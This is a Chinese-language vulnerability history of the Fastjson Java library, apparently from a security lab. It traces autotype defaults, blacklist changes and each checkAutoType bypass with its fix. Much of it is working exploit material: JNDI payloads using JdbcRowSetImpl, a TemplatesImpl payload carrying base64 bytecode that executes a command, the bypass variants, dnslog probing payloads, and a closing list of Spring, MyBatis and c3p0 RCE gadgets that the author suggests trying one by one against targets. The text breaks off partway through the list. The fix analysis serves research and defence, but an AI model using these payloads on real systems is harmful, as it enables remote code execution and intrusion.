Fastjson 反序列化漏洞史

酷酷的曉得哥發表於2020-05-13

作者:Longofo@知道創宇404實驗室 
時間:2020年4月27日 
英文版本:

原文地址:


Fastjson沒有cve編號,不太好查詢時間線,一開始也不知道咋寫,不過還是慢慢寫出點東西,幸好fastjson開源以及有師傅們的一路辛勤記錄。文中將給出與Fastjson漏洞相關的比較關鍵的更新以及漏洞時間線,會對一些比較經典的漏洞進行測試及修復說明,給出一些探測payload,rce payload。

Fastjson解析流程

可以參考下@Lucifaer師傅寫的 ,這裡不寫了,再寫篇幅就佔用很大了。文中提到fastjson有使用ASM生成的位元組碼,由於實際使用中很多類都不是原生類,fastjson序列化/反序列化大多數類時都會用ASM處理,如果好奇想檢視生成的位元組碼,可以用idea動態除錯時儲存位元組檔案:



插入的程式碼為:


BufferedOutputStream bos = null;FileOutputStream fos = null;File file = null;String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";try {

   File dir = new File(filePath);
   if (!dir.exists()) {
       dir.mkdirs();
   }
   file = new File(filePath + className + ".class");
   fos = new FileOutputStream(file);
   bos = new BufferedOutputStream(fos);
   bos.write(code);} catch (Exception e) {
   e.printStackTrace();} finally {
   if (bos != null) {
       try {
           bos.close();
       } catch (IOException e) {
           e.printStackTrace();
       }
   }
   if (fos != null) {
       try {
           fos.close();
       } catch (IOException e) {
           e.printStackTrace();
       }
   }}


生成的類:



但是這個類並不能用於除錯,因為fastjson中用ASM生成的程式碼沒有linenumber、trace等用於除錯的資訊,所以不能除錯。不過透過在Expression那個視窗重寫部分程式碼,生成可用於調式的bytecode應該也是可行的(我沒有測試,如果有時間和興趣,可以看下ASM怎麼生成可用於除錯的位元組碼)。

Fastjson 樣例測試

首先用多個版本測試下面這個例子:

//User.javapackage com.longofo.test;public class User {

   private String name; //私有屬性,有getter、setter方法    private int age; //私有屬性,有getter、setter方法    private boolean flag; //私有屬性,有is、setter方法    public String sex; //公有屬性,無getter、setter方法    private String address; //私有屬性,無getter、setter方法
   public User() {
       System.out.println("call User default Constructor");
   }

   public String getName() {
       System.out.println("call User getName");
       return name;
   }

   public void setName(String name) {
       System.out.println("call User setName");
       this.name = name;
   }

   public int getAge() {
       System.out.println("call User getAge");
       return age;
   }

   public void setAge(int age) {
       System.out.println("call User setAge");
       this.age = age;
   }

   public boolean isFlag() {
       System.out.println("call User isFlag");
       return flag;
   }

   public void setFlag(boolean flag) {
       System.out.println("call User setFlag");
       this.flag = flag;
   }

   @Override    public String toString() {
       return "User{" +
               "name='" + name + '\'' +
               ", age=" + age +
               ", flag=" + flag +
               ", sex='" + sex + '\'' +
               ", address='" + address + '\'' +
               '}';
   }}
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test1 {

   public static void main(String[] args) {
       //序列化        String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//        System.out.println("serializedStr=" + serializedStr);

       System.out.println("-----------------------------------------------\n\n");
       //透過parse方法進行反序列化,返回的是一個JSONObject]        System.out.println("JSON.parse(serializedStr):");
       Object obj1 = JSON.parse(serializedStr);
       System.out.println("parse反序列化物件名稱:" + obj1.getClass().getName());
       System.out.println("parse反序列化:" + obj1);
       System.out.println("-----------------------------------------------\n");

       //透過parseObject,不指定類,返回的是一個JSONObject        System.out.println("JSON.parseObject(serializedStr):");
       Object obj2 = JSON.parseObject(serializedStr);
       System.out.println("parseObject反序列化物件名稱:" + obj2.getClass().getName());
       System.out.println("parseObject反序列化:" + obj2);
       System.out.println("-----------------------------------------------\n");

       //透過parseObject,指定為object.class        System.out.println("JSON.parseObject(serializedStr, Object.class):");
       Object obj3 = JSON.parseObject(serializedStr, Object.class);
       System.out.println("parseObject反序列化物件名稱:" + obj3.getClass().getName());
       System.out.println("parseObject反序列化:" + obj3);
       System.out.println("-----------------------------------------------\n");

       //透過parseObject,指定為User.class        System.out.println("JSON.parseObject(serializedStr, User.class):");
       Object obj4 = JSON.parseObject(serializedStr, User.class);
       System.out.println("parseObject反序列化物件名稱:" + obj4.getClass().getName());
       System.out.println("parseObject反序列化:" + obj4);
       System.out.println("-----------------------------------------------\n");
   }}


說明:

  • 這裡的@type就是對應常說的autotype功能,簡單理解為fastjson會自動將json的key:value值對映到@type對應的類中
  • 樣例User類的幾個方法都是比較普通的方法,命名、返回值也都是常規的符合bean要求的寫法,所以下面的樣例測試有的特殊呼叫不會覆蓋到,但是在漏洞分析中,可以看到一些特殊的情況
  • parse用了四種寫法,四種寫法都能造成危害(不過實際到底能不能利用,還得看版本和使用者是否開啟了某些配置開關,具體往後看)
  • 樣例測試都使用jdk8u102,程式碼都是拉的原始碼測,主要是用樣例說明autotype的預設開啟、checkautotype的出現、以及黑白名白名單從哪個版本開始出現的過程以及增強手段

1.1.157測試

這應該是最原始的版本了(tag最早是這個),結果:

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}

-----------------------------------------------


JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化物件名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化物件名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

下面對每個結果做一個簡單的說明

JSON.parse(serializedStr)

JSON.parse(serializedStr):

call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化物件名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情況下,自動呼叫了User類預設構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個例項,不過值得注意的是public sex被成功賦值了,private address沒有成功賦值,不過在1.2.22, 1.1.54.android之後,增加了一個SupportNonPublicField特性,如果使用了這個特性,那麼private address就算沒有setter、getter也能成功賦值,這個特性也與後面的一個漏洞有關。注意預設構造方法、setter方法呼叫順序,預設構造器在前,此時屬性值還沒有被賦值,所以即使預設構造器中存在危險方法,但是危害值還沒有被傳入,所以預設構造器按理來說不會成為漏洞利用方法,不過對於內部類那種,外部類先初始化了自己的某些屬性值,但是內部類預設構造器使用了父類的屬性的某些值,依然可能造成危害。

可以看出,從最原始的版本就開始有autotype功能了,並且autotype預設開啟。同時ParserConfig類中還沒有黑名單。

JSON.parseObject(serializedStr)

JSON.parseObject(serializedStr):

call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化物件名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

在指定了@type的情況下,自動呼叫了User類預設構造器,User類對應的setter方法(setAge,setName)以及對應的getter方法(getAge,getName),最終結果是一個字串。這裡還多呼叫了getter(注意bool型別的是is開頭的)方法,是因為parseObject在沒有其他引數時,呼叫了JSON.toJSON(obj),後續會透過gettter方法獲取obj屬性值:

JSON.parseObject(serializedStr, Object.class)

JSON.parseObject(serializedStr, Object.class):

call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情況下,這種寫法和第一種JSON.parse(serializedStr)寫法其實沒有區別的,從結果也能看出。

JSON.parseObject(serializedStr, User.class)

JSON.parseObject(serializedStr, User.class):

call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情況下,自動呼叫了User類預設構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個例項。這種寫法明確指定了目標物件必須是User型別,如果@type對應的型別不是User型別或其子類,將丟擲不匹配異常,但是,就算指定了特定的型別,依然有方式在型別匹配之前來觸發漏洞。

1.2.10測試

對於上面User這個類,測試結果和1.1.157一樣,這裡不寫了。

到這個版本autotype依然預設開啟。不過從這個版本開始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,這個denyList都只有一個類(不過這個java.lang.Thread不是用於漏洞利用的):

1.2.25測試

測試結果是丟擲出了異常:

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}-----------------------------------------------JSON.parse(serializedStr):

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
   at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
   at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
   at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
   at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
   at com.alibaba.fastjson.JSON.parse(JSON.java:137)
   at com.alibaba.fastjson.JSON.parse(JSON.java:128)
   at com.longofo.test.Test1.main(Test1.java:14)

從1.2.25開始,autotype預設關閉了,對於autotype開啟,後面漏洞分析會涉及到。並且從1.2.25開始,增加了checkAutoType函式,它的主要作用是檢測@type指定的類是否在白名單、黑名單(使用的startswith方式)

以及目標類是否是兩個危險類(Classloader、DataSource)的子類或者子介面,其中白名單優先順序最高,白名單如果允許就不檢測黑名單與危險類,否則繼續檢測黑名單與危險類:



增加了黑名單類、包數量,同時增加了白名單,使用者還可以呼叫相關方法新增黑名單/白名單到列表中:



後面的許多漏洞都是對checkAutotype以及本身某些邏輯缺陷導致的漏洞進行修復,以及黑名單的不斷增加。

1.2.42測試

與1.2.25一樣,預設不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。

從這個版本開始,將denyList、acceptList換成了十進位制的hashcode,使得安全研究難度變大了(不過hashcode的計算方法依然是公開的,假如擁有大量的jar包,例如maven倉庫可以爬jar包下來,可批次的跑類名、包名,不過對於黑名單是包名的情況,要找到具體可利用的類也會消耗一些時間):



checkAutotype中檢測也做了相應的修改:


1.2.61測試

與1.2.25一樣,預設不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。

從1.2.25到1.2.61之前其實還發生了很多繞過與黑名單的增加,不過這部分在後面的漏洞版本線在具體寫,這裡寫1.2.61版本主要是說明黑名單防禦所做的手段。在1.2.61版本時,fastjson將hashcode從十進位制換成了十六進位制:



不過用十六進位制表示與十進位制表示都一樣,同樣可以批次跑jar包。在1.2.62版本為了統一又把十六進位制大寫:



再之後的版本就是黑名單的增加了

Fastjson漏洞版本線

下面漏洞不會過多的分析,太多了,只會簡單說明下以及給出payload進行測試與說明修復方式。

ver<=1.2.24

從上面的測試中可以看到,1.2.24及之前沒有任何防禦,並且autotype預設開啟,下面給出那會比較經典的幾個payload。

com.sun.rowset.JdbcRowSetImpl利用鏈

payload:

{

 "rand1": {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://localhost:1389/Object",
   "autoCommit": true
 }
}

測試(jdk=8u102,fastjson=1.2.24):

package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test2 {

   public static void main(String[] args) {
       String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";//        JSON.parse(payload); 成功        //JSON.parseObject(payload); 成功        //JSON.parseObject(payload,Object.class); 成功        //JSON.parseObject(payload, User.class); 成功,沒有直接在外層用@type,加了一層rand:{}這樣的格式,還沒到型別匹配就能成功觸發,這是在xray的一篇文中看到的,所以後面的payload都使用這種模式    }}


結果:



觸發原因簡析:

JdbcRowSetImpl物件恢復->setDataSourceName方法呼叫->setAutocommit方法呼叫->context.lookup(datasourceName)呼叫

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用鏈

payload:

{

 "rand1": {
   "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
   "_bytecodes": [
     "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
   ],
   "_name": "aaa",
   "_tfactory": {},
   "_outputProperties": {}
 }
}

測試(jdk=8u102,fastjson=1.2.24):

package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class Test3 {

   public static void main(String[] args) throws Exception {
       String evilCode_base64 = readClass();
       final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       String payload = "{'rand1':{" +
               "\"@type\":\"" + NASTY_CLASS + "\"," +
               "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
               "'_name':'aaa'," +
               "'_tfactory':{}," +
               "'_outputProperties':{}" +
               "}}\n";
       System.out.println(payload);
       //JSON.parse(payload, Feature.SupportNonPublicField); 成功        //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功        //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功        //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功    }

   public static class AaAa {

   }

   public static String readClass() throws Exception {
       ClassPool pool = ClassPool.getDefault();
       CtClass cc = pool.get(AaAa.class.getName());
       String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
       cc.makeClassInitializer().insertBefore(cmd);
       String randomClassName = "AaAa" + System.nanoTime();
       cc.setName(randomClassName);
       cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
       byte[] evilCode = cc.toBytecode();

       return Base64.encodeBase64String(evilCode);

   }}


結果:



觸發原因簡析:

TemplatesImpl物件恢復->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->透過defineTransletClasses,newInstance觸發我們自己構造的class的靜態程式碼塊

簡單說明:

這個漏洞需要開啟SupportNonPublicField特性,這在樣例測 試中也說到了。因為TemplatesImpl類中_bytecodes、_tfactory、_name、_outputProperties、_class並沒有對應的setter,所以要為這些private屬性賦值,就需要 開啟SupportNonPublicField特性。具體這個poc構造過程,這裡不分析了,可以看下廖大師傅的 涉及到了一些細節問題。

ver>=1.2.25&ver<=1.2.41

1.2.24之前沒有autotype的限制,從1.2.25開始預設關閉了autotype支援,並且加入了checkAutotype,加入了黑名單+白名單來防禦autotype開啟的情況。在1.2.25到1.2.41之間,發生了一次checkAutotype的繞過。

下面是checkAutoType程式碼:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {

       if (typeName == null) {
           return null;
       }

       final String className = typeName.replace('$', '.');

       // 位置1,開啟了autoTypeSupport,先白名單,再黑名單        if (autoTypeSupport || expectClass != null) {
           for (int i = 0; i < acceptList.length; ++i) {
               String accept = acceptList[i];
               if (className.startsWith(accept)) {
                   return TypeUtils.loadClass(typeName, defaultClassLoader);
               }
           }

           for (int i = 0; i < denyList.length; ++i) {
               String deny = denyList[i];
               if (className.startsWith(deny)) {
                   throw new JSONException("autoType is not support. " + typeName);
               }
           }
       }

       // 位置2,從已存在的map中獲取clazz        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
       if (clazz == null) {
           clazz = deserializers.findClass(typeName);
       }

       if (clazz != null) {
           if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
               throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
           }

           return clazz;
       }

       // 位置3,沒開啟autoTypeSupport,依然會進行黑白名單檢測,先黑名單,再白名單        if (!autoTypeSupport) {
           for (int i = 0; i < denyList.length; ++i) {
               String deny = denyList[i];
               if (className.startsWith(deny)) {
                   throw new JSONException("autoType is not support. " + typeName);
               }
           }
           for (int i = 0; i < acceptList.length; ++i) {
               String accept = acceptList[i];
               if (className.startsWith(accept)) {
                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                   if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                       throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                   }
                   return clazz;
               }
           }
       }

       // 位置4,過了黑白名單,autoTypeSupport開啟,就載入目標類        if (autoTypeSupport || expectClass != null) {
           clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
       }

       if (clazz != null) {
           // ClassLoader、DataSource子類/子介面檢測            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver                    ) {
               throw new JSONException("autoType is not support. " + typeName);
           }

           if (expectClass != null) {
               if (expectClass.isAssignableFrom(clazz)) {
                   return clazz;
               } else {
                   throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
               }
           }
       }

       if (!autoTypeSupport) {
           throw new JSONException("autoType is not support. " + typeName);
       }

       return clazz;
   }

在上面做了四個位置標記,因為後面幾次繞過也與這幾處位置有關。這一次的繞過是走過了前面的1,2,3成功進入位置4載入目標類。位置4 loadclass如下:



去掉了className前後的L和;,形如Lcom.lang.Thread;這種表示方法和JVM中類的表示方法是類似的,fastjson對這種表示方式做了處理。而之前的黑名單檢測都是startswith檢測的,所以可給@type指定的類前後加上L和;來繞過黑名單檢測。

這裡用上面的JdbcRowSetImpl利用鏈:

{

 "rand1": {
   "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
   "dataSourceName": "ldap://localhost:1389/Object",
   "autoCommit": true
 }}

測試(jdk8u102,fastjson 1.2.41):

package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test4 {

   public static void main(String[] args) {
       String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
       ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
       //JSON.parse(payload); 成功        //JSON.parseObject(payload); 成功        //JSON.parseObject(payload,Object.class); 成功        //JSON.parseObject(payload, User.class); 成功    }}


結果:


ver=1.2.42

在1.2.42對1.2.25~1.2.41的checkAutotype繞過進行了修復,將黑名單改成了十進位制,對checkAutotype檢測也做了相應變化:



黑名單改成了十進位制,檢測也進行了相應hash運算。不過和上面1.2.25中的檢測過程還是一致的,只是把startswith這種檢測換成了hash運算這種檢測。對於1.2.25~1.2.41的checkAutotype繞過的修復,就是紅框處,判斷了className前後是不是L和;,如果是,就擷取第二個字元和到倒數第二個字元。所以1.2.42版本的checkAutotype繞過就是前後雙寫LL和;;,擷取之後過程就和1.2.25~1.2.41版本利用方式一樣了。


用上面的JdbcRowSetImpl利用鏈:

{

 "rand1": {
   "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
   "dataSourceName": "ldap://localhost:1389/Object",
   "autoCommit": true
 }
}

測試(jdk8u102,fastjson 1.2.42):

package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test5 {

   public static void main(String[] args) {
       String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
       ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
       //JSON.parse(payload); 成功        //JSON.parseObject(payload); 成功        //JSON.parseObject(payload,Object.class); 成功        //JSON.parseObject(payload, User.class); 成功    }}

結果:

ver=1.2.43

1.2.43對於1.2.42的繞過修復方式:


在第一個if條件之下(L開頭,;結尾),又加了一個以LL開頭的條件,如果第一個條件滿足並且以LL開頭,直接拋異常。所以這種修復方式沒法在繞過了。但是上面的loadclass除了L和;做了特殊處理外,[也被特殊處理了,又再次繞過了checkAutoType:

用上面的JdbcRowSetImpl利用鏈:

{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

測試(jdk8u102,fastjson 1.2.43):

package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test6 {

   public static void main(String[] args) {
       String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
       ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//        JSON.parse(payload); 成功        //JSON.parseObject(payload); 成功        //JSON.parseObject(payload,Object.class); 成功        JSON.parseObject(payload, User.class);
   }}


結果:


ver=1.2.44

1.2.44版本修復了1.2.43繞過,處理了[:



刪除了之前的L開頭、;結尾、LL開頭的判斷,改成了[開頭就拋異常,;結尾也拋異常,所以這樣寫之前的幾次繞過都修復了。

ver>=1.2.45&ver<1.2.46

這兩個版本期間就是增加黑名單,沒有發生checkAutotype繞過。黑名單中有幾個payload在後面的RCE Payload給出,這裡就不寫了

ver=1.2.47

這個版本發生了不開啟autotype情況下能利用成功的繞過。解析一下這次的繞過:

  1. 利用到了java.lang.class,這個類不在黑名單,所以checkAutotype可以過
  2. 這個java.lang.class類對應的 deserializer為MiscCodec,deserialize時會取json串中的val值並load這個val對應的class,如果fastjson cache為true,就會快取這個val對應的class到全域性map中
  3. 如果再次載入val名稱的class,並且autotype沒開啟(因為開啟了會先檢測黑白名單,所以這個漏洞開啟了反而不成功),下一步就是會嘗試從全域性map中獲取這個class,如果獲取到了,直接返回

這個漏洞分析已經很多了,具體詳情可以參考下

payload:

{

   "rand1": {
       "@type": "java.lang.Class",
       "val": "com.sun.rowset.JdbcRowSetImpl"
   },
   "rand2": {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName": "ldap://localhost:1389/Object",
       "autoCommit": true
   }
}

測試(jdk8u102,fastjson 1.2.47):

package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test7 {

   public static void main(String[] args) {
       String payload = "{\n" +
               "    \"rand1\": {\n" +
               "        \"@type\": \"java.lang.Class\", \n" +
               "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
               "    }, \n" +
               "    \"rand2\": {\n" +
               "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
               "        \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
               "        \"autoCommit\": true\n" +
               "    }\n" +
               "}";
       //JSON.parse(payload); 成功        //JSON.parseObject(payload); 成功        //JSON.parseObject(payload,Object.class); 成功        JSON.parseObject(payload, User.class);
   }}

結果:



ver>=1.2.48&ver<=1.2.68

在1.2.48修復了1.2.47的繞過,在MiscCodec,處理Class類的地方,設定了cache為false:



在1.2.48到最新版本1.2.68之間,都是增加黑名單類。

ver=1.2.68

1.2.68是目前最新版,在1.2.68引入了safemode,開啟safemode時,@type這個specialkey完全無用,無論白名單和黑名單,都不支援autoType了。

在這個版本中,除了增加黑名單,還減掉一個黑名單:



這個減掉的黑名單,不知道有師傅跑出來沒,是個包名還是類名,然後能不能用於惡意利用,反正有點奇怪。

探測Fastjson

比較常用的探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。同事說讓搞個能回顯的放掃描器掃描,不過目標容器/框架不一樣,回顯方式也會不一樣,這有點為難了...,還是用dnslog吧。

dnslog探測

目前fastjson探測比較通用的就是dnslog方式去探測,其中Inet4Address、Inet6Address直到1.2.67都可用。下面給出一些看到的payload(結合了上面的rand:{}這種方式,比較通用些):

{"rand1":{"@type":"java.net.InetAddress","val":"}}{"rand2":{"@type":"java.net.Inet4Address","val":"}}{"rand3":{"@type":"java.net.Inet6Address","val":"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"}}}{"rand5":{"@type":"java.net.URL","val":"}}一些畸形payload,不過依然可以觸發dnslog:{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"}}""}}{"rand7":Set[{"@type":"java.net.URL","val":"}]}{"rand8":Set[{"@type":"java.net.URL","val":"}{"rand9":{"@type":"java.net.URL","val":"}:0

一些RCE Payload

之前沒有收集關於fastjson的payload,沒有去跑jar包....,下面列出了網路上流傳的payload以及從marshalsec中扣了一些並改造成適用於fastjson的payload ,每個payload適用的jdk版本、fastjson版本就不一一測試寫了,這一通測下來都不知道要花多少時間,實際利用基本無法知道版本、autotype開了沒、使用者咋配置的、使用者自己設定又加了黑名單/白名單沒,所以將構造的Payload一一過去打就行了,基礎payload:

payload1:

{
 "rand1": {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://localhost:1389/Object",
   "autoCommit": true
 }
}


payload2:
{
 "rand1": {
   "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
   "_bytecodes": [
     "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
   ],
   "_name": "aaa",
   "_tfactory": {},
   "_outputProperties": {}
 }
}


payload3:
{
 "rand1": {
   "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
   "properties": {
     "data_source": "ldap://localhost:1389/Object"
   }
 }
}

payload4:
{
 "rand1": {
   "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
   "targetBeanName": "ldap://localhost:1389/Object",
   "propertyPath": "foo",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://localhost:1389/Object"
     ]
   }
 }
}

payload5:
{
 "rand1": Set[
 {
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://localhost:1389/obj"
     ]
   },
   "adviceBeanName": "ldap://localhost:1389/obj"
 },
 {
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
 }
]}

payload6:
{
 "rand1": {
   "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
